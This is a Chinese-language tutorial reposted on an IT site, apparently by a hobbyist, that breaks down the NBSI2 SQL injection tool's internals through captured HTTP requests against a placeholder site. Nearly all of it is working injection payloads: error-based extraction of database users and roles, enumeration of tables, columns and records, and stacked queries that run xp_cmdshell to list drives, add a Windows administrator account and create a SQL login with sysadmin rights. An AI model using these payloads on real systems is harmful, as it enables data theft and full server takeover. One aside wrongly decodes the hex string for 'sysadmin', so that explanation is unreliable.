IT教程 | 加入收藏 | 简体 | 繁体
渗透技术:网络技术渗透技术
当前位置: 首页 > 网络安全 > 渗透技术

SQL注入软件:NBSI2内部功能实现原理简单讲解

2014-02-24来源:[www.121ask.com]热度:0℃ 【字体:

SQL注入软件:NBSI2内部功能实现原理简单讲解。

前段时间SQL注入很流行,用过小竹的NB2的人可能都知道,这个工具接近无敌,菜鸟用了它也能数秒把一个站给黑了,但是不了解其中的注入过程 可以说永远都进步不了吧~~


首先声明,我也只是菜鸟一个,正好最近在研究SQL,随便把NB2的注入过程给研究了一个,所用工具wse,相信大家不会陌生的,网上到处有得下,我给一个地址,_blank>http://www.gxgl.com/soft/WSE06b1.zip,这是一个用来监视和修改网络发送和接收数据的程序,可以用来帮助您调试网络应用程序。


废话少说,开工,先在网上随便找一个有SQL注入漏洞得站点_blank>www.testdb.net,找到一个注射点:_read.asp?id=80" target=_blank>http://www.testdb.net/article_read.asp?id=80

呵呵,_blank>www.testdb.net这个网址当然是不存在了。


过程一、取得SQl Server数据库信息

打开nb2,输入地址:_read.asp?id=80" target=_blank>http://www.testdb.net/article_read.asp?id=80,选择"get"方式,点"检测"按钮,
取得SQl Server数据库得如下信息:


多句执行:未知
子查询:支持
当前用户:test
用户权限:DB_OWNER
当前库:testdb

用过nb2的人应该都很熟悉上面的内容把~~

%20解释为空格 %2B解释为+号,%25解释为%号


HTTP/1.1 200 OK     //返回成功
HTTP/1.1 500 Internal Server Error

用wse检测Get包信息,如下:

GET /article_read.asp?id=80 HTTP/1.1

GET /article_read.asp?id=80%20and%20user%2Bchar(124)=0 HTTP/1.1
即:article_read.asp?id=80 and user+char(124)=0
  char(124)为字符'|'

GET /article_read.asp?id=80;declare%20@a%20int-- HTTP/1.1
即:article_read.asp?id=80;declare @a int--
//判断是否支持多句查询

GET /article_read.asp?id=80%20and%20(Select%20count(1)%20from%20[sysobjects])>=0 HTTP/1.1
Accept: image/gif,image/x-xbitmap,image/jpeg,image/pjpeg,*/*
User-Agent: Microsoft URL Control - 6.00.8862
Host: _blank>www.testdb.net
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: articleid=80%3Bdeclare+%40a+int%2D%2D; ASPSESSIONIDSSTCTTQD=ELLNNEIDCEEANBMOKAMGJGED

即:article_read.asp?id=80 and (Select count(1) from [sysobjects])>=0
//判断是否支持子查询

GET /article_read.asp?id=80%20And%20user%2Bchar(124)=0 HTTP/1.1
Accept: image/gif,image/x-xbitmap,image/jpeg,image/pjpeg,*/*
User-Agent: Microsoft URL Control - 6.00.8862
Host: _blank>www.testdb.net
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: articleid=80+and+%28Select+count%281%29+from+%5Bsysobjects%5D%29%3E%3D0;

ASPSESSIONIDSSTCTTQD=ELLNNEIDCEEANBMOKAMGJGED

即:article_read.asp?id=80 And user+char(124)=0
//取得当前用户
user是SQLServer的一个内置变量,它的值是当前连接的用户名,类型为nvarchar。拿一个nvarchar的值跟int的数0比较,系统会先试图将

nvarchar的值转成int型,转的过程中肯定会出错,当然,转的过程中肯定会出错,SQLServer的出错提示是:将nvarchar值 "east_asp" 转

换数据类型为 int 的列时发生语法错误,呵呵,east_asp正是变量user的值,这样,不废吹灰之力就拿到了数据库的用户名。and user>0


GET /article_read.asp?id=80%20And%20Cast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00)%20as%20varchar(1))%2Bchar(124)

=1 HTTP/1.1
Accept: image/gif,image/x-xbitmap,image/jpeg,image/pjpeg,*/*
User-Agent: Microsoft URL Control - 6.00.8862
Host: _blank>www.testdb.net
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: articleid=80+and+%28Select+count%281%29+from+%5Bsysobjects%5D%29%3E%3D0;

ASPSESSIONIDSSTCTTQD=ELLNNEIDCEEANBMOKAMGJGED

即:article_read.asp?id=80 And Cast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))+char(124)=1

[NextPage]函数说明:

IS_SRVROLEMEMBER指明当前的用户登录是否是指定的服务器角色的成员。

语法
IS_SRVROLEMEMBER ( 'role' [ , 'login' ] )

参数
'role' 被检查的服务器角色的名称。role 的数据类型为 sysname。
role 有效的值是: sysadmin,dbcreator,diskadmin,processadmin,serveradmin,etupadmin,securityadmin

'login'

将要检查的登录的可选名称。login 的数据类型为 sysname,默认值为 NULL。如果未指定,那么使用当前用户的登录帐户。

select Cast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))+char(124) 结果为"1|"


GET /article_read.asp?id=80%20And%20Cast(IS_MEMBER(0x640062005F006F0077006E0065007200)%20as%20varchar(1))%2Bchar(124)=1

HTTP/1.1
Accept: image/gif,image/x-xbitmap,image/jpeg,image/pjpeg,*/*
User-Agent: Microsoft URL Control - 6.00.8862
Host: _blank>www.testdb.net
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: articleid=80+and+%28Select+count%281%29+from+%5Bsysobjects%5D%29%3E%3D0;
ASPSESSIONIDSSTCTTQD=ELLNNEIDCEEANBMOKAMGJGED

即:article_read.asp?id=80 And Cast(IS_MEMBER(0x640062005F006F0077006E0065007200) as varchar(1))+char(124)=1

select Cast(IS_MEMBER(0x640062005F006F0077006E0065007200) as varchar(1))+char(124) 结果为"1|",和上面得返回结果一样,但注意

IS_MEMBER里面的那一长字符串和上面的不一样,不知代表什么意思,0x730079007300610064006D0069006E00转化后为"|O|@ E ",本以为

是"sysadmin"类似的字串,但看来不是,算了,不想了,呵呵,但我想,其作用应该是取得当前用户的权限把,如:DB_OWNER


GET /article_read.asp?id=80%20And%20db_name()%2Bchar(124)=0 HTTP/1.1
Accept: image/gif,image/x-xbitmap,image/jpeg,image/pjpeg,*/*
User-Agent: Microsoft URL Control - 6.00.8862
Host: _blank>www.testdb.net
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: articleid=80+and+%28Select+count%281%29+from+%5Bsysobjects%5D%29%3E%3D0;

ASPSESSIONIDSSTCTTQD=ELLNNEIDCEEANBMOKAMGJGED

即:article_read.asp?id=80 And db_name()+char(124)=0
这一句,看到有一个db_name()函数,不用多说,大家应该知道了,db_name()是另一个系统变量,返回的是连接的数据库名。

到次,获取SQL数据库信息的过程算是分析完毕。

另:post方法不再详细分析,大家可自己看一下,下面是post方法时抓的包,具体同Get方法基本一样,主要看最后一行的信息。
其中也用到很多技巧:如下:

id=80%20and%20user%2Bchar(124)=0
id=80'%20and%20user%2Bchar(124)=0%20and%20''='
id=80%25'%20and%20user%2Bchar(124)=0%20and%20'%25'='
id=80%20And%201=1
id=80%20And%201=2
id=80'%20And%201=1%20And%20''='
id=80'%20And%201=2%20And%20''='
id=80%25'%20And%201=1%20And%20'%25'='
id=80%25'%20And%201=2%20And%20'%25'='

//////////////////////////////////////////////

过程二、猜解表名

Top1

GET /article_read.asp?id=80%20And%20(Select%20Top%201%20cast(name%20as%20varchar(8000))%20from(Select%20Top%201%20id,name%

20from%20[testdb]..[sysobjects]%20Where%20xtype=char(85)%20order%20by%20id)%20T%20order%20by%20id%20desc)>0 HTTP/1.1

即:article_read.asp?id=80 And (Select Top 1 cast(name as varchar(8000)) from(Select Top 1 id,name from
  [testdb]..[sysobjects] Where xtype=char(85) order by id) T order by id desc)>0
  char(85)='U'

作用是取得testdb数据库第一个表的表名,以此类推Top N,可以取得其它的表名。


Top2

GET /article_read.asp?id=80%20And%20(Select%20Top%201%20cast(name%20as%20varchar(8000))%20from(Select%20Top%202%20id,name%

20from%20[testdb]..[sysobjects]%20Where%20xtype=char(85)%20order%20by%20id)%20T%20order%20by%20id%20desc)>0 HTTP/1.1

...

TopN


wse抓获的包信息:

GET /article_read.asp?id=80%20And%20(Select%20Top%201%20cast(name%20as%20varchar(8000))%20from(Select%20Top%201%20id,name%

20from%20[testdb]..[sysobjects]%20Where%20xtype=char(85)%20order%20by%20id)%20T%20order%20by%20id%20desc)>0 HTTP/1.1
Accept: image/gif,image/x-xbitmap,image/jpeg,image/pjpeg,*/*
User-Agent: Microsoft URL Control - 6.00.8862
Host: _blank>www.testdb.net
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: ASPSESSIONIDSSTCTTQD=ELLNNEIDCEEANBMOKAMGJGED; articleid=80+and+%28Select+count%281%29+from+%5Bsysobjects%5D%29%3E%

3D0

...........

//////////////////////////////////////////////
[NextPage]
过程三、根据某个表名猜解列名
表名:article

Top1

GET /article_read.asp?id=80%20And%20(Select%20Top%201%20cast(name%20as%20varchar(8000))%20from%20(Select%20Top%201%

20colid,name%20From%20[testdb]..[syscolumns]%20Where%20id%20=%20OBJECT_ID(NCHAR(101)%2BNCHAR(97)%2BNCHAR(115)%2BNCHAR(116)%

2BNCHAR(104)%2BNCHAR(111)%2BNCHAR(116)%2BNCHAR(46)%2BNCHAR(46)%2BNCHAR(65)%2BNCHAR(82)%2BNCHAR(84)%2BNCHAR(73)%2BNCHAR(67)%

2BNCHAR(76)%2BNCHAR(69))%20Order%20by%20colid)%20T%20Order%20by%20colid%20desc)>0 HTTP/1.1

即:article_read.asp?id=80 And (Select Top 1 cast(name as varchar(8000)) from (Select Top 1 colid,name From
  [testdb]..[syscolumns] Where id = OBJECT_ID(NCHAR(101)+NCHAR(97)+NCHAR(115)+NCHAR(116)+NCHAR(104)+NCHAR(111)+
  NCHAR(116)+NCHAR(46)+NCHAR(46)+NCHAR(65)+NCHAR(82)+NCHAR(84)+NCHAR(73)+NCHAR(67)+NCHAR(76)+NCHAR(69))
  Order by colid) T Order by colid desc)>0

作用是取得article表的第一个列的列名,以此类推Top N,可以取得其它的列名。

函数说明:

OBJECT_ID 返回数据库对象标识号。

语法 OBJECT_ID ( 'object' )

参数 'object'
要使用的对象。object 的数据类型为 char 或 nchar。如果 object 的数据类型是 char,那么隐性将其转换成 nchar。

返回类型 int


NCHAR(101)+NCHAR(97)+NCHAR(115)+NCHAR(116)+NCHAR(104)+NCHAR(111)+NCHAR(116)+NCHAR(46)+
NCHAR(46)+NCHAR(65)+NCHAR(82)+NCHAR(84)+NCHAR(73)+NCHAR(67)+NCHAR(76)+NCHAR(69)

对应于字符串 testdb..ARTICLE

即是:article_read.asp?id=80 And (Select Top 1 cast(name as varchar(8000)) from (Select Top 1 colid,name From
    [testdb]..[syscolumns] Where id = OBJECT_ID('testdb..ARTICLE')
    Order by colid) T Order by colid desc)>0


Top2

GET /article_read.asp?id=80%20And%20(Select%20Top%201%20cast(name%20as%20varchar(8000))%20from%20(Select%20Top%202%

20colid,name%20From%20[testdb]..[syscolumns]%20Where%20id%20=%20OBJECT_ID(NCHAR(101)%2BNCHAR(97)%2BNCHAR(115)%2BNCHAR(116)%

2BNCHAR(104)%2BNCHAR(111)%2BNCHAR(116)%2BNCHAR(46)%2BNCHAR(46)%2BNCHAR(65)%2BNCHAR(82)%2BNCHAR(84)%2BNCHAR(73)%2BNCHAR(67)%

2BNCHAR(76)%2BNCHAR(69))%20Order%20by%20colid)%20T%20Order%20by%20colid%20desc)>0 HTTP/1.1


TopN

...


wse抓获的包信息:

GET /article_read.asp?id=80%20And%20(Select%20Top%201%20cast(name%20as%20varchar(8000))%20from%20(Select%20Top%201%

20colid,name%20From%20[testdb]..[syscolumns]%20Where%20id%20=%20OBJECT_ID(NCHAR(101)%2BNCHAR(97)%2BNCHAR(115)%2BNCHAR(116)%

2BNCHAR(104)%2BNCHAR(111)%2BNCHAR(116)%2BNCHAR(46)%2BNCHAR(46)%2BNCHAR(65)%2BNCHAR(82)%2BNCHAR(84)%2BNCHAR(73)%2BNCHAR(67)%

2BNCHAR(76)%2BNCHAR(69))%20Order%20by%20colid)%20T%20Order%20by%20colid%20desc)>0 HTTP/1.1
Accept: image/gif,image/x-xbitmap,image/jpeg,image/pjpeg,*/*
User-Agent: Microsoft URL Control - 6.00.8862
Host: _blank>www.testdb.net
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: ASPSESSIONIDSSTCTTQD=ELLNNEIDCEEANBMOKAMGJGED; articleid=80+and+%28Select+count%281%29+from+%5Bsysobjects%5D%29%3E%

3D0

...............

//////////////////////////////////////////////

过程四、根据列名猜解字段内容

字段名:Title

Top1

GET /article_read.asp?id=80%20And%20(Select%20Top%201%20isNull(cast([TITLE]%20as%20varchar(8000)),char(32))%2Bchar(124)%

20From%20(Select%20Top%201%20[TITLE]%20From%20[testdb]..[ARTICLE]%20Where%201=1%20Order%20by%20[TITLE])%20T%20Order%20by%20

[TITLE]%20desc)>0 HTTP/1.1


即:article_read.asp?id=80 And (Select Top 1 isNull(cast([TITLE] as varchar(8000)),char(32))+char(124)
  From (Select Top 1 [TITLE] From [testdb]..[ARTICLE] Where 1=1 Order by [TITLE]) T Order by [TITLE] desc)>0

作用是取得TITLE字段的第一行记录的值,以此类推Top N,可以取得其它行的值。

Top2

GET /article_read.asp?id=80%20And%20(Select%20Top%201%20isNull(cast([TITLE]%20as%20varchar(8000)),char(32))%2Bchar(124)%

20From%20(Select%20Top%202%20[TITLE]%20From%20[testdb]..[ARTICLE]%20Where%201=1%20Order%20by%20[TITLE])%20T%20Order%20by%20

[TITLE]%20desc)>0 HTTP/1.1


TopN

...


wse抓获的包信息:


//取得article表的记录数
GET /article_read.asp?id=80%20And%20(Select%20Cast(Count(1)%20as%20varchar(8000))%2Bchar(124)%20From%20[testdb]..[ARTICLE]%

20Where%201=1)>0 HTTP/1.1
Accept: image/gif,image/x-xbitmap,image/jpeg,image/pjpeg,*/*
User-Agent: Microsoft URL Control - 6.00.8862
Host: _blank>www.testdb.net
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: ASPSESSIONIDSSTCTTQD=ELLNNEIDCEEANBMOKAMGJGED; articleid=80+and+%28Select+count%281%29+from+%5Bsysobjects%5D%29%3E%

3D0

//取得Article表的Title字段的第一条记录内容

GET /article_read.asp?id=80%20And%20(Select%20Top%201%20isNull(cast([TITLE]%20as%20varchar(8000)),char(32))%2Bchar(124)%

20From%20(Select%20Top%201%20[TITLE]%20From%20[testdb]..[ARTICLE]%20Where%201=1%20Order%20by%20[TITLE])%20T%20Order%20by%20

[TITLE]%20desc)>0 HTTP/1.1
Accept: image/gif,image/x-xbitmap,image/jpeg,image/pjpeg,*/*
User-Agent: Microsoft URL Control - 6.00.8862
Host: _blank>www.testdb.net
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: ASPSESSIONIDSSTCTTQD=ELLNNEIDCEEANBMOKAMGJGED; articleid=80+and+%28Select+count%281%29+from+%5Bsysobjects%5D%29%3E%

3D0

...............

//////////////////////////////////////////////

到此,数据库的表名,字段名及字段内容的分析基本结束,再看一下其它主要功能的分析。

[NextPage]
过程五、执行Dos命令和执行SQL语句

执行Dos命令 dir c:/


////////////////////////////////////////////////
回显抓包分析:

GET /article_read.asp?id=80%20And%20db_name()%2Bchar(124)=0 HTTP/1.1
Accept: image/gif,image/x-xbitmap,image/jpeg,image/pjpeg,*/*
User-Agent: Microsoft URL Control - 6.00.8862
Host: _blank>www.testdb.net
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: ASPSESSIONIDSSTCTTQD=ELLNNEIDCEEANBMOKAMGJGED; articleid=80+and+%28Select+count%281%29+from+%5Bsysobjects%5D%29%3E%

3D0


GET /article_read.asp?id=80;EXEC%20MASTER..XP_CMDSHELL%20'Dir%20C:/%20>%20C:/NB_Commander_Txt.log';DROP%20TABLE%

20NB_Commander_Tmp;CREATE%20TABLE%20NB_Commander_Tmp(ResultTxt%20varchar(7996)%20NULL);BULK%20INSERT%20[testdb]..

[NB_Commander_Tmp]%20FROM%20'C:/NB_Commander_Txt.log'%20WITH%20(KEEPNULLS);Alter%20Table%20NB_Commander_Tmp%20add%20ID%

20int%20NOT%20NULL%20IDENTITY%20(1,1)-- HTTP/1.1
Accept: image/gif,image/x-xbitmap,image/jpeg,image/pjpeg,*/*
User-Agent: Microsoft URL Control - 6.00.8862
Host: _blank>www.testdb.net
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: ASPSESSIONIDSSTCTTQD=ELLNNEIDCEEANBMOKAMGJGED; articleid=80+and+%28Select+count%281%29+from+%5Bsysobjects%5D%29%3E%

3D0

主要是这个:

article_read.asp?id=80;EXEC MASTER..XP_CMDSHELL 'Dir C:/ > C:/NB_Commander_Txt.log';
              DROP TABLE NB_Commander_Tmp;CREATE TABLE NB_Commander_Tmp(ResultTxt varchar(7996) NULL);
              BULK INSERT [testdb]..[NB_Commander_Tmp] FROM 'C:/NB_Commander_Txt.log' WITH (KEEPNULLS);
              Alter Table NB_Commander_Tmp add ID int NOT NULL IDENTITY%20(1,1)--


BULK INSERT 以用户指定的格式复制一个数据文件至数据库表或视图中。
KEEPNULLS 指定在大容量复制操作中空列应保留一个空值,而不是对插入的列赋予默认值。
具体的详细介绍请查看T-sql语法,有详细说明。

上面语句的功能就是就是将执行Dos命令Dir c:/的结果保存到一个文件NB_Commander_Txt.log中,然后将此文件的内容写入到新建的临时表

NB_Commander_Tmp,并增加一个自增长字段ID,相信大家很容易看明白。


ID=1

GET /article_read.asp?id=80%20And%20(Select%20Top%201%20CASE%20WHEN%20ResultTxt%20is%20Null%20then%20'|'%20else%20ResultTxt%

2B'|'%20End%20From%20NB_Commander_Tmp%20Where%20ID=1)=0 HTTP/1.1
Accept: image/gif,image/x-xbitmap,image/jpeg,image/pjpeg,*/*
User-Agent: Microsoft URL Control - 6.00.8862
Host: _blank>www.testdb.net
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: ASPSESSIONIDSSTCTTQD=ELLNNEIDCEEANBMOKAMGJGED; articleid=80%3BEXEC+MASTER%2E%2EXP%5FCMDSHELL+%27Dir+C%3A%5C+%3E+C%

3A%5CNB%5FCommander%5FTxt%2Elog%27%3BDROP+TABLE+NB%5FCommander%5FTmp%3BCREATE+TABLE+NB%5FCommander%5FTmp%

28ResultTxt+varchar%287996%29+NULL%29%3BBULK+INSERT+%5Btestdb%5D%2E%2E%5BNB%5FCommander%5FTmp%5D+FROM+%27C%3A%5CNB%

5FCommander%5FTxt%2Elog%27+WITH+%28KEEPNULLS%29%3BAlter+Table+NB%5FCommander%5FTmp+add+ID+int+NOT+NULL+IDENTITY+%281%2C1%29%

2D%2D

即:article_read.asp?id=80 And (Select Top 1 CASE WHEN ResultTxt is Null then '|' else ResultTxt+'|' End
                    From NB_Commander_Tmp Where ID=1)=0

输入第一条回显结果,以下同,TopN输入所有的回显结果。


ID=2

GET /article_read.asp?id=80%20And%20(Select%20Top%201%20CASE%20WHEN%20ResultTxt%20is%20Null%20then%20'|'%20else%20ResultTxt%

2B'|'%20End%20From%20NB_Commander_Tmp%20Where%20ID=2)=0 HTTP/1.1
Accept: image/gif,image/x-xbitmap,image/jpeg,image/pjpeg,*/*
User-Agent: Microsoft URL Control - 6.00.8862
Host: _blank>www.testdb.net
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: ASPSESSIONIDSSTCTTQD=ELLNNEIDCEEANBMOKAMGJGED; articleid=80%3BEXEC+MASTER%2E%2EXP%5FCMDSHELL+%27Dir+C%3A%5C+%3E+C%

3A%5CNB%5FCommander%5FTxt%2Elog%27%3BDROP+TABLE+NB%5FCommander%5FTmp%3BCREATE+TABLE+NB%5FCommander%5FTmp%

28ResultTxt+varchar%287996%29+NULL%29%3BBULK+INSERT+%5Btestdb%5D%2E%2E%5BNB%5FCommander%5FTmp%5D+FROM+%27C%3A%5CNB%

5FCommander%5FTxt%2Elog%27+WITH+%28KEEPNULLS%29%3BAlter+Table+NB%5FCommander%5FTmp+add+ID+int+NOT+NULL+IDENTITY+%281%2C1%29%

2D%2D

ID=N

...............


输出显示:
[意外输出]
[意外输出]
[意外输出]
[意外输出]
[意外输出]
[意外输出]
[意外输出]
[意外输出]
[意外输出]
[意外输出]
...
...
...

如果正常没有问题,会输出C:/下所有的文件,出现上面的提示,可能原因是数据表NB_Commander_Tmp没有创建成功,因此不能正确输出。
////////////////////////////////////////////////

不回显抓包分析:
Dos命令 Dir C:/

GET /article_read.asp?id=80;EXEC%20MASTER..XP_CMDSHELL%20'Dir%20C:/'-- HTTP/1.1
Accept: image/gif,image/x-xbitmap,image/jpeg,image/pjpeg,*/*
User-Agent: Microsoft URL Control - 6.00.8862
Host: _blank>www.testdb.net
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: ASPSESSIONIDSSTCTTQD=ELLNNEIDCEEANBMOKAMGJGED; articleid=80%3BDROP+TABLE+NB%5FCommander%5FTmp%3BEXEC+MASTER%2E%2EXP%

5FCMDSHELL+%27DEL+C%3A%5CNB%5FCommander%5FTxt%2Elog%27%2D%2D

即:article_read.asp?id=80;EXEC MASTER..XP_CMDSHELL 'Dir C:/'--
不需要显示输出结果。

输出显示:
命令执行完成

////////////////////////////////////////////////
Dos命令:
net user TsInternetUsers Password /add

GET /article_read.asp?id=80;EXEC%20MASTER..XP_CMDSHELL%20'net%20user%20TsInternetUsers%20Password%20/add'-- HTTP/1.1
Accept: image/gif,image/x-xbitmap,image/jpeg,image/pjpeg,*/*
User-Agent: Microsoft URL Control - 6.00.8862
Host: _blank>www.testdb.net
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: ASPSESSIONIDSSTCTTQD=ELLNNEIDCEEANBMOKAMGJGED; articleid=80%3BEXEC+MASTER%2E%2EXP%5FCMDSHELL+%27Dir+C%3A%5C%27%2D%2D

执行其它Dos命令都同上。
id=80;EXEC MASTER..XP_CMDSHELL 'net user TsInternetUsers Password /add'--
id=80;EXEC MASTER..XP_CMDSHELL 'net localgroup administrators TsInternetUsers /add'--


执行SQL命令(同执行Dos命令)


GET /article_read.asp?id=80;exec%20master..sp_addlogin%20UserName,Password-- HTTP/1.1
Accept: image/gif,image/x-xbitmap,image/jpeg,image/pjpeg,*/*
User-Agent: Microsoft URL Control - 6.00.8862
Host: _blank>www.testdb.net
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: ASPSESSIONIDSSTCTTQD=ELLNNEIDCEEANBMOKAMGJGED; articleid=80%3BEXEC+MASTER%2E%2EXP%5FCMDSHELL+%

27net+user+TsInternetUsers+Password+%2Fadd%27%2D%2D

id=80;exec master..sp_addlogin UserName,Password--
id=80;exec master..sp_addsrvrolemember UserName,sysadmin--
....

////////////////////////////////////////////////

到此,Nb2的主要功能分析完毕,其它的功能大家可以自己分析,第一次写这么长的文章,可能很乱,也一定存在不少问题,不过实在没有精力

去逐字修改了,希望大家能看明白。谢谢

以上IT文章《SQL注入软件:NBSI2内部功能实现原理简单讲解》由名客技术网[www.121ask.com]提供阅读!
名客技术网是一个免费为广大IT技术人员提供IT教程,绿色软件,asp/php/jsp/java/net等实例视频教程,CMS教程,破解软件下载以及学习相关源码、知识的IT网站。
名客技术网如果无意之中侵犯了您的版权,请来电告知,本站将在3个工作日内删除 QQ:175352796
Copyright 2011-2017 Powered by 121ASK.COM, All Rights Reserved.
备案号:鄂ICP备11013833号-3